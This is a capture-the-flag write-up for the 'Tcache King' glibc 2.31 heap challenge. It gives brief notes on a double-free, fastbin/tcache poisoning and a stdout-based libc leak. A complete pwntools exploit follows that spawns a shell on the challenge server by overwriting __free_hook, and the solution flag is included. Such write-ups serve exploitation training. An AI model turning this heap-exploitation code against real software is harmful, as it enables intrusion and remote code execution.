Tcache-king

			Challenge - 2 Solves
			 Tcache King - 1000
hahah Tcache go brrr

nc 128.199.157.172 20978

Alternate download link:
https://drive.google.com/file/d/1j7pscqy2wrIKFV0w5CXtn9BDIkjHJhQy/view?usp=sharing
  • Nice and uniqe challenge :)
  • There is obviuos UAF. We can do double free.
  • But glibc 2.31 has check for tcache double free.
  • We can use fastbin here. Allocating freeing 7 chunk of same size. After that if the size range in fastbin it will go to fastbin.
  • We can point fastbin anywhere we want because it will all stash all the list after the current bin into tcache. And no size check perfomed.
  • There are some restrictions in the binary.
  • In add-note function
  • We can only use alphanumeric characters in our note.
  • This makes the challenge tricky.
  • There is one more function called changename. which allocates 0x40 sized chunk.
  • It allows all characters to be used in the chunk.
  • There is no view() function. So my script guess four bits.
  • Leak using stdout structure trick.
  • There is nothing more new. Just requires Some heavy heap manipulation.
  • I didn't knew that NULL bytes were allowed in add-note.
  • I did this challenge without using null bytes in add-note :P
  • free_hook is the best targate with tcache :)
    #### Addnote constraints
    """
    |  0-9   |   A-Z   |   a-z   |
    0x30-0x39|0x41-0x5A|0x61-0x7A|
    """
    

    First-blood

Exploit

#!/usr/bin/python3
from pwn import *

####Utils
def addnote(idx,size,contents):
	io.sendlineafter("Choice: ","1")
	io.sendlineafter("index: ",str(idx))
	io.sendlineafter("size: ",str(size))
	io.sendafter("contents: ",contents)

def deletenote(idx):
	io.sendlineafter("Choice: ","2")
	io.sendlineafter("index: ",str(idx))

def changename(username):
	io.sendlineafter("Choice: ","4")
	io.sendafter("username: ",username)

#### Addnote constraints
"""
|  0-9   |   A-Z   |   a-z   |
0x30-0x39|0x41-0x5A|0x61-0x7A|
"""
####Addr
_IO_2_1_stdin = 0x1eb980
_IO_2_1_stdout = 0x1ec6a0
system = 0x55410
__free_hook = 0x1eeb28

####Exploit
while True:
#	io = process(["./tcache_king_ld"],env={"LD_PRELOAD":"./libc6_2.31-0ubuntu9_amd64.so"})
	io = remote("128.199.157.172", 20978)
	io.sendafter("username: ","HKHK")
	changename("HK")
	for i in range(34,42):
		addnote(i,0xf8,"HK") #34~41
	for i in range(42,50):
		addnote(i,0x28,"HK") #42~49
	addnote(50,0x28,"HK") #50
	addnote(51,0x28,"HK") #51
	addnote(52,0x18,"HK") #52
	addnote(0,0x28,"HK") #0
	addnote(1,0x18,"HK") #1
	addnote(2,0x28,"HK") #2
	addnote(3,0x28,"HK") #3
	for i in range(42,49):
		deletenote(i)
	deletenote(2)
	deletenote(3)
	deletenote(2)
	for i in range(23,30):
		addnote(i,0x28,"HK") #23~29
	addnote(2,0x28,"\x30") #2
	for i in range(19,21):
		addnote(i,0x28,"HK") #19~20
	addnote(4,0x28,b"HK"*4+p8(0x51)) #4
	deletenote(0)
	changename(p64(0x0)*5+p64(0x101))
	for i in range(34,41):
		deletenote(i)
	for i in range(5,14):
		addnote(i,0x48,"HK"+str(i)) #5~13
	deletenote(6)
	changename(p64(0x0)*5+p64(0x21))
	deletenote(1)
	deletenote(0)
	changename(p64(0x0)*5+p64(0x101)+p16(0x3690))
	for i in range(13,6,-1):
		deletenote(i)
	deletenote(6)
	deletenote(5)
	deletenote(0)
	deletenote(6)
	for i in range(54,61):
		addnote(i,0x48,"HK") #54~60
	addnote(14,0x48,p8(0x70)) #14
	for i in range(30,33):
		addnote(i,0x48,"HK"+str(i)) #30~32
	print("Libc")
	try:
		changename(p64(0x0)*2+p64(0xfbad1800)+p64(0x0)*3+b"\x00")
		libc_leak = u64(io.recvn(0x10)[0x8:])
		libc_base = libc_leak-0x1eb980
		if libc_base&0xfff==0:
			print("Found")
			break
		else:
			io.close()
			continue
	except:
		io.close()
		continue
print(f"Libc base: {hex(libc_base)}")
deletenote(0)
changename(p64(0x0)*5+p64(0x101)+p64(libc_base+__free_hook))
for i in range(54,61):
	deletenote(i)
deletenote(6)
deletenote(5)
deletenote(0)
deletenote(6)
for i in range(54,61):
	addnote(i,0x48,"HK") #54~60
addnote(15,0x48,p8(0x70)) #15
for i in range(30,32):
	addnote(i,0x48,"HK") #30~31
addnote(32,0x48,"sh\x00") #32
changename(p64(libc_base+system))
deletenote(32)
#COMPFEST12{Tcache_King_here_is_your_crown_WwW_5ef79c}
io.interactive()